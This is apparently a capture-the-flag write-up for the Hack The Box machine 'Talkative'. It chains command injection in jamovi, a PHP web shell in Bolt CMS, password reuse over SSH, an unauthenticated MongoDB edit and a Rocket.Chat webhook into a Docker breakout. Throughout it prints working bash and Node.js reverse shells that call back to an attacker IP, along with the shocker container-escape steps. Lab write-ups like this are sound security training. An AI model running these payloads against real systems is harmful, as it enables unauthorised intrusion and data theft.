HackTheBox - Talkative

— Written by — 18 min read

https://user-images.githubusercontent.com/9076747/164916795-5c33ab53-424b-4846-9bff-7b4c19ca529d.png

Talkative just retired on Hack The Box, it’s a Hard rated difficulty Linux box. The box solving heavily relied on pivot between application running in docker container, bringing a mix of network and environnement discovery as well as classical exploitation of weakly secured web application. All in all it’s a very good to get more familiar with network and application pivot in containerized environment providing to no usual OS dependency needed for usual recon, pivot and exploitation.
I recommend this box to learn more about container exploitation and it’s great opportunity to learn about new pen-testing tools.

Tl;Dr: In order to get the user flag the first step was to get a shell on the first container after exploiting a command injection vulnerability in a data visualisation application. With this shell you could retrieve admin credentials for user saul of a Bolt Instance CMS allowing you to pivot to the Bolt container by uploading a PHP shell from the Admin console file editor function. On the container you can write a network discovery script to find a machine with port 22 open, re-using saul password we found earlier on the machine allows us to access the server and grab the user flag.
In order to retrieve the root flag you had to connect to the non-secured MongoDB instance running on the server to reset the admin account password of a [Rocket.chat](http://Rocket.chat) application. Once Admin on the application you can exploit a vulnerability to get a shell on its container. This last container have the CAP_DAC_READ_SEARCH capabilities set, allowing the container to read file from host. Exploiting this vulnerability allows us to read the /root/root.txt flag.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the hosts file:

1
[hg8@archbook ~]$ echo "10.129.227.113 talkative.htb" >> /etc/hosts

And let’s start!

User flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[hg8@archbook ~]$ nmap -sV -sT -sC talkative.htb
Nmap scan report for talkative.htb (10.129.227.113)
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.52
|_http-generator: Bolt
|_http-title: Talkative.htb | Talkative
|_http-server-header: Apache/2.4.52 (Debian)
3000/tcp open ppp?
|_ HTTP/1.1 400 Bad Request
8080/tcp open http Tornado httpd 5.0
|_http-title: jamovi
|_http-server-header: TornadoServer/5.0
8081/tcp open http Tornado httpd 5.0
|_http-title: 404: Not Found
|_http-server-header: TornadoServer/5.0
8082/tcp open http Tornado httpd 5.0
|_http-title: 404: Not Found
|_http-server-header: TornadoServer/5.0

Aside from the usual SSH port we have:

  • A Bolt CMS landing page running on port 8080, looks like a simple landing presenting the project. Some information about the team’s member usernames and app running might be useful to save.
  • A jamovi instance running on port 8080. Jamovi an open-source software for statistical analysis. We can note that no authentication is required to access all the functionalities.
  • An authentication page for Rocket.Chat application on port 3000. Rocket.Chat is an open-source group chat application.
  • Port 8081 and 8082 both returns 404.

The initial footstep took me a while to figure out, after a bunch of fuzzing and trying to find hidden endpoints with no success I decided to focus on the jamovi instance running with no authentication, especially since the homepage explains:

Hi
We found a security issue with this version of jamovi, and out of an abundance of caution, we recommend that you update to a newer version when you can.
You can continue to use this version of jamovi, but we’d advise you not to open data files from sources you do not trust until you update to a newer version. Sorry for the inconvenience.
Update to the latest version today.
– the jamovi team

In the “Open” menu we see an interesting entry stored in the root folder: bolt-administration.omv. This is very probably data from the Bolt CMS application running on port 80 and might contains sensitive information.
.omv seems to be a jamovi export data file format, which turn to be a simple zip file.
Unfortunately we can’t open the file directly in jamovi since the running version is incompatible with the file. Let’s find another way to get it.

I couldn’t find any useful public CVE or exploit on jamovi, however while researching the documentation of jamovi, I stumble upon this interesting article:

about arbitrary code
Some analyses in jamovi can be created using R code with the Rj Editor. This allows for great flexibility in what analyses can be run, however due to the flexibility of R code, it’s possible for someone to write an analysis which does malicious things, such as deleting files. This is a similar situation to other software which allows arbitrary code, such as macros in Microsoft Word or Excel.
https://www.jamovi.org/about-arbitrary-code.html

Well that’s interesting, especially since the Rj Editor is available on our instance. Being not familiar with R language I checked the documentation and learned why jamovi was warning about arbitrary code execution.
R Language have a function to Invoke a System command:

Description
system invokes the OS command specified by command.
Usage
system(command, intern = FALSE, ignore.stdout = FALSE, ignore.stderr = FALSE, wait = TRUE, input = NULL, show.output.on.console = TRUE, minimized = FALSE, invisible = TRUE, timeout = 0)
https://stat.ethz.ch/R-manual/R-devel/library/base/html/system.html

Let’s see what happen when we try to run a reverse shell.

RCE on jamovi Rj Editor

First, as usual, let’s open our nc listener:

1
2
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on 0.0.0.0 8585

And input a Bash reverse shell into Rj Editor:

1
system("bash -c 'bash -i >& /dev/tcp/10.10.14.19/8585 0>&1'")

https://user-images.githubusercontent.com/9076747/164981075-84d9cb80-1d5e-4d2c-ac7a-90255f25393b.png

We get a warning about execution of arbitrary code, clicking “Enable” allows the execution of the reverse shell:

1
2
3
4
5
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on 0.0.0.0 8585
Connection received on talkative.htb 35446
bash: no job control in this shell
root@b06821bbda78:/#

We can immediately see that we are running in a Docker container:

1
2
3
root@b06821bbda78:/# cat /proc/1/cgroup
12:cpuset:/docker/b06821bbda786b9790c5d7efd202f1d43534dd343f781bcd414aa06a447b7cf6
[...]

Pivot jamovi → Bolt

Before trying any crazy exploit of container escape let’s see what’s inside this bolt-administration.omv file we found earlier.

1
2
3
4
root@b06821bbda78:/# l /root
Documents/ bolt-administration.omv
root@b06821bbda78:/# file /root/bolt-administration.omv
/root/bolt-administration.omv: Zip archive data, at least v2.0 to extract

We can download the file on our machine using nc it to analyze its content:

1
[hg8@archbook ~]$ nc -lvp 4444 < bolt-administration.omv
1
2
root@b06821bbda78:/# nc 10.10.14.19 4444 > /root/bolt-administration.omv
bash: nc: command not found

Bummer, nc is not available.

In that case the easiest way to download the file is to use an netcat wrapper. I will use [pwncat-](https://github.com/calebstewart/pwncat)cs.
We need to restart our reverse by using the pwncat listener:

1
2
3
4
5
6
7
8
9
10
11
[hg8@archbook ~]$ pwncat-cs -lp 8585
[14:03:07] Welcome to pwncat 🐈! __main__.py:164
[14:03:13] received connection from 10.129.227.113:37746 bind.py:84
[14:03:14] 10.129.227.113:37746: registered new host w/ db manager.py:957
(local) pwncat$ # Ctrl + d to switch to remote host
(remote) root@b06821bbda78:/# ls /root/
Documents bolt-administration.omv
(remote) root@b06821bbda78:/# # Ctrl + d to switch to local host
(local) pwncat$ download /root/bolt-administration.omv .
/root/bolt-administration.omv ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 0.0% • 0/0 bytes • ? • -:--:--
[14:25:40] downloaded 2.19KiB in 0.25 seconds

Let’s now unzip it and take a look at its content:

1
2
3
4
5
6
7
8
9
[hg8@archbook ~]$ unzip bolt-administration.omv
Archive: bolt-administration.omv
inflating: META-INF/MANIFEST.MF
inflating: meta
inflating: index.html
inflating: metadata.json
inflating: xdata.json
inflating: data.bin
inflating: 01 empty/analysis

The xdata.json file looks promising:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
[hg8@archbook ~]$ jq . xdata.json
{
"A": {
"labels": [
[
0,
"Username",
"Username",
false
],
[
1,
"[email protected]",
"[email protected]",
false
],
[
2,
"[email protected]",
"[email protected]",
false
],
[
3,
"[email protected]",
"[email protected]",
false
]
]
},
"B": {
"labels": [
[
0,
"Password",
"Password",
false
],
[
1,
"jeO09ufhWD<s",
"jeO09ufhWD<s",
false
],
[
2,
"bZ89h}V<S_DA",
"bZ89h}V<S_DA",
false
],
[
3,
")SQWGm>9KHEA",
")SQWGm>9KHEA",
false
]
]
},
"C": {
"labels": []
}
}

We got passwords for several accounts. We can try them on the Bolt CMS admin page running on http://talkative.htb/bolt. None of them seems to works until we try with Bolt CMS default admin username (admin) with the password of saul (jeO09ufhWD<s):

https://user-images.githubusercontent.com/9076747/164981863-eb9c7f8c-ad33-4c4a-b2d4-bb4c8a01202f.png

Thanks to the file editor accessible on the administration panel, we can easily edit any PHP file to upload reverse shell:

1
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.19/8585 0>&1'");

https://user-images.githubusercontent.com/9076747/164987197-2a90c327-49d0-4726-9dad-9b04ad36cda6.png

Reloading the page makes our listener to receive a connection:

1
2
3
4
5
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on 0.0.0.0 8585
Connection received on talkative.htb 38904
bash: no job control in this shell
www-data@46c004bb2269:/var/www/talkative.htb/bolt/public$

Pivot Bolt → Saul user

Once again we land on a new Docker container. This time recon doesn’t yield anything interesting at all. The recon part is more difficult than usual because most of common tools are not present on the container (ping, curl, wget, nc, nmap…)

After being stuck with no results for way too long I decide to create poor man host discovery script to see if any host accessible from our container have their port SSH (22) open:

1
2
3
4
5
6
#!/bin/bash
for i in $(seq 1 20)
do
host=172.18.0.$i
echo "Scanning $host";(echo >/dev/tcp/$host/22) &>/dev/null && echo "$host is up (port 22 open)"
done
1
2
3
4
5
6
7
8
www-data@46c004bb2269:/tmp$ bash test.sh
bash test.sh
Scanning 172.18.0.1
port 22 is open
Scanning 172.18.0.2
test.sh: connect: Connection timed out
test.sh: line 1: /dev/tcp/172.18.0.2/22: Connection timed out
[...]

Bingo, let’s try to see if any users from the Bolt xdata.json file re-use his password. We got lucky, saul do:

1
2
3
4
5
6
7
8
9
10
11
12
[hg8@archbook ~]$ pwncat-cs -lp 8585
[16:05:02] Welcome to pwncat 🐈!
[16:05:03] received connection from 10.129.122.121:39802
(remote) www-data@46c004bb2269:/var/www/talkative.htb/bolt/public$ ssh saul@172.18.0.1
The authenticity of host '172.18.0.1 (172.18.0.1)' can't be established.
ECDSA key fingerprint is SHA256:kUPIZ6IPcxq7Mei4nUzQI3JakxPUtkTlEejtabx4wnY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
[email protected]'s password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-81-generic x86_64)

saul@talkative:~$ cat user.txt
f7xxxxxxxxxxxxxxxx087

Root flag

Recon

Usual recon doesn’t yield any interesting files or mis-configuration that could easily trigger privilege escalation. However while monitoring pspy I noticed a script referring mongo running as root.

1
2
3
saul@talkative:~$ ./tmp/pspy64
[...]
2022/04/24 16:21:01 CMD: UID=0 PID=50639 | python3 /root/.backup/update_mongo.py

It’s surprising because MongoDB usually run on port 27017 which doesn’t appears in netstat:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
saul@talkative:/tmp$ netstat -tulpn | grep LISTEN
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 172.17.0.1:6007 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6008 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6009 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6010 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6011 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6012 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6013 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6014 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6015 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6001 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8081 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6002 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8082 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6003 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6004 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6005 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 172.17.0.1:6006 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::8080 :::* LISTEN -
tcp6 0 0 :::8081 :::* LISTEN -
tcp6 0 0 :::8082 :::* LISTEN -

This probably means that the MongoDB instance is running on another docker container. Let’s dig a bit on this path to see if we can retrieve sensitive informations from the database.

Pivot saul → Rocket.chat

First let’s re-use our script to find in which host mongo is running:

1
2
3
4
5
6
#!/bin/bash
for i in $(seq 1 20)
do
host=172.18.0.$i
echo "Scanning $host";(echo >/dev/tcp/$host/27017) &>/dev/null && echo "$host is up (port 27017 open)"
done

We find the MongoDB instance running on host 172.17.0.2:27017:

1
2
3
4
5
6
7
saul@talkative:/tmp$ bash host_discovery.sh
Scanning 172.17.0.1
Scanning 172.17.0.2
172.17.0.2 is up (port 27017 open)
Scanning 172.17.0.3
Scanning 172.17.0.4
Scanning 172.17.0.5

Since we don’t have SSH access, Let’s use chisel to forward the mongobd port to our localhost in order to see what is in the database:

1
2
saul@talkative:/tmp$ wget 10.10.14.19:8000/chisel && chmod +x chisel
Saving to: ‘chisel’

Let’s open the listener on our machine:

1
2
3
4
[hg8@archbook ~]$ chisel server -p 8585 --reverse
2022/04/24 16:44:42 server: Reverse tunnelling enabled
2022/04/24 16:44:42 server: Fingerprint 5lXTHz9HmTtx2xUn5Q7wRLCZFERrnSLX/XWGVoYNjwM=
2022/04/24 16:44:42 server: Listening on http://0.0.0.0:8585

And the client pointing to port 27017 on talkative host:

1
2
3
saul@talkative:/tmp$ ./chisel client 10.10.14.19:8585 R:27017:172.17.0.2:27017
2022/04/25 13:04:00 client: Connecting to ws://10.10.14.19:8585
2022/04/25 13:04:01 client: Connected (Latency 33.130311ms)

Once connected we can using mongosh (MongoDB Shell) to read the database content. Good news is, the database doesn’t require authentication:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
[hg8@archbook ~]$ mongosh "mongodb://127.0.0.1:27017"
Current Mongosh Log ID: 62669d8d54003c56213b04cc
Connecting to: mongodb://127.0.0.1:27017/?directConnection=true&serverSelectionTimeoutMS=2000&appName=mongosh+1.3.1

rs0 [direct: primary] test> show databases
admin 106 kB
config 127 kB
local 11.8 MB
meteor 4.89 MB
rs0 [direct: primary] config> use meteor
switched to db meteor
rs0 [direct: primary] meteor> show tables
[...]
users
usersSessions
rs0 [direct: primary] meteor> db.users.find()
[
{
_id: 'rocket.cat',
createdAt: ISODate("2021-08-10T19:44:00.224Z"),
avatarOrigin: 'local',
name: 'Rocket.Cat',
username: 'rocket.cat',
status: 'online',
statusDefault: 'online',
utcOffset: 0,
active: true,
type: 'bot',
_updatedAt: ISODate("2021-08-10T19:44:00.615Z"),
roles: [ 'bot' ]
},
{
_id: 'ZLMid6a4h5YEosPQi',
createdAt: ISODate("2021-08-10T19:49:48.673Z"),
services: {
password: {
bcrypt: '$2b$10$jzSWpBq.eJ/yn/Pdq6ilB.UO/kXHB1O2A.b2yooGebUbh69NIUu5y'
},
email: {
verificationTokens: [
{
token: 'dgATW2cAcF3adLfJA86ppQXrn1vt6omBarI8VrGMI6w',
address: '[email protected]',
when: ISODate("2021-08-10T19:49:48.738Z")
}
]
},
resume: {
loginTokens: [
{
when: ISODate("2022-03-15T17:06:53.808Z"),
hashedToken: 'VMehhXEh1Z89e3nwMIq+2f5JIFid/7vo6Xb6bXh2Alc='
}
]
}
},
emails: [ { address: '[email protected]', verified: false } ],
type: 'user',
status: 'offline',
active: true,
_updatedAt: ISODate("2022-04-04T17:12:30.788Z"),
roles: [ 'admin' ],
name: 'Saul Goodman',
lastLogin: ISODate("2022-03-15T17:06:56.543Z"),
statusConnection: 'offline',
username: 'admin',
utcOffset: 0
}
]

We have access to the accounts information of the Rocket.chat application running on port 3000.

We are not going to try cracking the bcrypt hash, it would be no use since we have write access to the database. The rocket.chat documentation explains how to reset an admin user password to 12345:

1
2
3
4
5
6
7
8
9
rs0 [direct: primary] meteor> db.getCollection('users').updateOne({username:"admin"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } })
{
acknowledged: true,
insertedId: null,
matchedCount: 1,
modifiedCount: 1,
upsertedCount: 0
}
rs0 [direct: primary] meteor>

We can now connect to the Rocket.Chat application as admin we can quickly gather more information (like version number):

https://user-images.githubusercontent.com/9076747/165098988-b93a12a4-07a2-4c12-ba90-3ef8253db870.png

Searching for exploit on this version returns CVE-2021-22911: “Pre-Auth Blind NoSQL Injection leading to Remote Code Execution in Rocket Chat 3.12.1”.

RCE ( Autenticated - Admin )
Rocket.Chat has a feature called Integrations that allows creating incoming and outgoing web hooks. These web hooks can have scripts associated with them that are executed when the web hook is triggered.
We create a integration with a remote execution script.

Let’s give it a try.

It’s a bit of struggle to open a reverse shell, rocket.chat is very probably also running in a docker container with no nc, bash nor python available.
After searching a bit we can find this Node.js reverse shell that should give better luck since it doesn’t require any external tools. Let’s build our payload:

1
2
3
4
5
6
7
8
const require = console.log.constructor('return process.mainModule.require')();
var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8544, "10.10.14.19", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});

Then we create the Integration:

https://user-images.githubusercontent.com/9076747/165103605-a827aa1a-9d98-403b-8e80-40eee285fb92.png

Once saved we can trigger the webhook to receive the connection on our reverse shell:

1
[hg8@archbook ~]$ curl http://talkative.htb:3000/hooks/3FBhk4BCPEsMTxWeh/Sej9ohSu6mfE9pdQvbR97hHAfSWm7pxyWYZu8qvde3BRkazK
1
2
3
[hg8@archbook ~]$ pwncat-cs -lp 8544                                                                           __main__.py:164
[13:56:00] received connection from 10.129.227.113:41104 bind.py:84
(remote) root@c150397ccd63:/app/bundle/programs/server#

Once again pwncat-cs comes useful to upload our enumeration script since wget nor curl is available on the box:

1
2
3
4

(local) pwncat$ upload ./tools/lp.sh /tmp/lp.sh
[13:59:38] uploaded 776.17KiB in 0.66 seconds

Once again, our enumeration do not returns any useful information, but that’s expected when running in a docker container. Knowing that we exploited all the services running on this box it might be time to try a container escape vulnerability.
I decided to give a try to cdk which is an open-sourced container penetration toolkit.
Once run we get notified that the CAP_DAC_READ_SEARCH capability is set on the container:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(remote) root@c150397ccd63:/root# ./cdk evaluate

[Information Gathering - System Info]
2022/04/25 14:34:40 current dir: /root
2022/04/25 14:34:40 current user: root uid: 0 gid: 0 home: /root
2022/04/25 14:34:40 hostname: c150397ccd63
2022/04/25 14:34:40 debian debian 10.10 kernel: 5.4.0-81-generic

[Information Gathering - Services]
2022/04/25 14:34:40 sensitive env found:
DEPLOY_METHOD=docker-official

[Information Gathering - Commands and Capabilities]
2022/04/25 14:34:40 available commands:
find,node,npm,apt,dpkg,mount,fdisk,base64,perl
2022/04/25 14:34:40 Capabilities hex of Caps(CapInh|CapPrm|CapEff|CapBnd|CapAmb):
CapInh: 0000000000000000
CapPrm: 00000000a80425fd
CapEff: 00000000a80425fd
CapBnd: 00000000a80425fd
CapAmb: 0000000000000000
Cap decode: 0x00000000a80425fd = CAP_CHOWN,CAP_DAC_READ_SEARCH,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_CHROOT,CAP_MKNOD,CAP_AUDIT_WRITE,CAP_SETFCAP
Add capability list: CAP_DAC_READ_SEARCH
[*] Maybe you can exploit the Capabilities below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.

According the manual, the CAP_DAC_READ_SEARCH capability allows to bypass file read permission checks:

1
2
3
4
5
6
7
8
[hg8@archbook ~]$ man capabilities
[...]
CAP_DAC_READ_SEARCH
* Bypass file read permission checks and directory read
and execute permission checks;
* invoke open_by_handle_at(2);
* use the linkat(2) AT_EMPTY_PATH flag to create a link to
a file referred to by a file descriptor.

Let’s see if we can exploit this capability to read the /root/root.txt flag from the host:

1
2
3
(remote) root@c150397ccd63:/root# ./cdk run cap-dac-read-search /etc/hosts /root/root.txt
Running with target: /root/root.txt, ref: /etc/hosts
08a6xxxxxxxxxxd971

To see what happened behind the hood of cdk we can take a retrieve the original exploit used, named [shocker.c](http://stealth.openwall.net/xSports/shocker.c) . Reading through the source code to understand how it works.

By editing the exploit to our current situation we can also retrieve the flag:

1
2
3
[hg8@archbook ~]$ sed -i 's/\/.dockerinit/\/etc\/hostname/g' shocker.c
[hg8@archbook ~]$ sed -i 's/\/etc\/shadow/\/root\/root.txt/g' shocker.c
[hg8@archbook ~]$ cc -Wall -std=c99 -O2 shocker.c -static -o shocker

Then whiting the container:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
(remote) root@c150397ccd63:/root# chmod +x shocker && ./shocker
[***] docker VMM-container breakout Po(C) 2014 [***]
[*] Resolving 'root/root.txt'
[*] Found lib32
[*] Found ..
[*] Found lost+found
[*] Found sbin
[*] Found bin
[*] Found boot
[*] Found dev
[*] Found run
[*] Found lib64
[*] Found .
[*] Found var
[*] Found home
[*] Found media
[*] Found proc
[*] Found etc
[*] Found lib
[*] Found libx32
[*] Found cdrom
[*] Found root
[+] Match: root ino=18
[*] Brute forcing remaining 32bit. This can take a while...
[*] (root) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'root.txt'
[*] Found ..
[*] Found .backup
[*] Found .config
[*] Found .cache
[*] Found .local
[*] Found .ssh
[*] Found .
[*] Found .profile
[*] Found .bashrc
[*] Found root.txt
[+] Match: root.txt ino=110097
[*] Brute forcing remaining 32bit. This can take a while...
[*] (root.txt) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x11, 0xae, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x11, 0xae, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /root/root.txt output follows:
08a6xxxxxxxxxxd971

Arbitrary file read → Root Shell

Well arbitrary file read are cool but can we say we finished the box without a proper shell ?
While researching a bit more on the shocker.c exploit I stumble upon a variant exploit [exploit_dac-read-search_dac-override.c](https://github.com/akusec/Docker_Exploits/blob/main/Capabilities/DAC_READ_SEARCH/exploit_dac-read-search_dac-override.c) using CAP_DAC_OVERRIDE capability to write arbitrary file.

Note: DAC_OVERRIDE is activated by default on containers but alone it’s not a risk for container breakout.

Let’s build the exploit to add our SSH key to the root account authorized_keys file.

1
2
[hg8@archbook ~]$ wget https://raw.githubusercontent.com/akusec/Docker_Exploits/main/Capabilities/DAC_READ_SEARCH/exploit_dac-read-search_dac-override.c
[hg8@archbook ~]$ cc -Wall -std=c99 -O2 exploit_dac-read-search_dac-override.c -static -o shocker_write

Then in our container:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
(remote) root@c150397ccd63:/tmp# cat authorized_keys
ssh-ed25519 AAAAC3NzxxxxxxiC [email protected]
(remote) root@c150397ccd63:/tmp# ./shocker_write /root/.ssh/authorized_keys authorized_keys
[*] Resolving 'root/.ssh/authorized_keys'
[*] Found lib32
[*] Found ..
[*] Found lost+found
[*] Found sbin
[*] Found bin
[*] Found boot
[*] Found dev
[*] Found run
[*] Found lib64
[*] Found .
[*] Found var
[*] Found home
[*] Found media
[*] Found proc
[*] Found etc
[*] Found lib
[*] Found libx32
[*] Found cdrom
[*] Found root
[+] Match: root ino=18
[*] Brute forcing remaining 32bit. This can take a while...
[*] (root) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving '.ssh/authorized_keys'
[*] Found ..
[*] Found .backup
[*] Found .config
[*] Found .cache
[*] Found .local
[*] Found .ssh
[+] Match: .ssh ino=9718
[*] Brute forcing remaining 32bit. This can take a while...
[*] (.ssh) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0xf6, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'authorized_keys'
[*] Found ..
[*] Found id_rsa.pub
[*] Found .
[*] Found known_hosts
[*] Found authorized_keys
[+] Match: authorized_keys ino=9720
[*] Brute forcing remaining 32bit. This can take a while...
[*] (authorized_keys) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0xf8, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0xf8, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
Success!!

The file successfully got written. Let’s now go back to the Bolt CMS container shell (only container to have SSH access to the main server) and connect using our newly added SSH key:

1
2
3
4
5
6
7
8
9
10
11
12
(remote) www-data@8ad3cb438f7e:/tmp$ chmod 600 id_ed25519_hg8
(remote) www-data@8ad3cb438f7e:/tmp$ ssh root@172.18.0.1 -i id_ed25519_hg8
The authenticity of host '172.18.0.1 (172.18.0.1)' can't be established.
ECDSA key fingerprint is SHA256:kUPIZ6IPcxq7Mei4nUzQI3JakxPUtkTlEejtabx4wnY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Last login: Fri Apr 29 18:57:57 2022 from 10.129.111.185

root@talkative:~# id
uid=0(root) gid=0(root) groups=0(root)
root@talkative:~# cat root.txt
adbxxxxxxxxxxxxxxx14a

References


That’s it folks! As always do not hesitate to contact me for any questions or feedback!

See you next time ;)

-hg8



CTFHackTheBoxHard Box
, , , , , , , , , , , , , , , ,